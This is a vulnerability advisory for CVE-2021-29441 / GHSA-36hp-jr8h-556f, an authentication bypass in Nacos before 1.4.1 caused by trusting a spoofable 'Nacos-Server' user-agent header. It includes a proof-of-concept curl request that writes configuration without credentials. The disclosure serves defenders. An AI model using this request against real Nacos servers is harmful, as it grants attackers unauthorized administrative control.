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GHSA-36HP-JR8H-556F

Vulnerability from github – Published: 2021-04-27 20:09 – Updated: 2021-05-10 14:56

Summary

Authentication Bypass

Details

When configured to use authentication (-Dnacos.core.auth.enabled=true) Nacos uses the AuthFilter servlet filter to enforce authentication. This filter has a backdoor that enables Nacos servers to bypass this filter and therefore skip authentication checks. This mechanism relies on the user-agent HTTP header so it can be easily spoofed.

The following request to the configuration endpoint gets rejected as we are not providing any credentials:

❯ curl -X POST "http://127.0.0.1:8848/nacos/v1/cs/configs?dataId=nacos.cfg.dataIdfoo&group=foo&content=helloWorld"
{"timestamp":"2020-12-02T14:33:57.154+0000","status":403,"error":"Forbidden","message":"unknown user!","path":"/nacos/v1/cs/configs"}

However the following one gets accepted by using the Nacos-Server user-agent header:

❯ curl -X POST -A Nacos-Server "http://127.0.0.1:8848/nacos/v1/cs/configs?dataId=nacos.cfg.dataIdfoo&group=foo&content=helloWorld"
true

Impact

This issue may allow any user to carry out any administrative tasks on the Nacos server.

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  "modified": "2021-05-10T14:56:08Z",
  "published": "2021-04-27T20:09:17Z",
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CVE-2021-29441 (GCVE-0-2021-29441)

Vulnerability from cvelistv5 – Published: 2021-04-27 20:20 – Updated: 2024-08-03 22:02

Title

Authentication bypass

Summary

Nacos is a platform designed for dynamic service discovery and configuration and service management. In Nacos before version 1.4.1, when configured to use authentication (-Dnacos.core.auth.enabled=true) Nacos uses the AuthFilter servlet filter to enforce authentication. This filter has a backdoor that enables Nacos servers to bypass this filter and therefore skip authentication checks. This mechanism relies on the user-agent HTTP header so it can be easily spoofed. This issue may allow any user to carry out any administrative tasks on the Nacos server.

Severity

8.6 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

CWE

CWE-290 - Authentication Bypass by Spoofing

Assigner

GitHub_M mitre root

References

3 references

URL	Tags
https://github.com/alibaba/nacos/issues/4701	x_refsource_MISC
https://github.com/advisories/GHSA-36hp-jr8h-556f	x_refsource_CONFIRM
https://github.com/alibaba/nacos/pull/4703	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
alibaba	nacos	Affected: < 1.4.1

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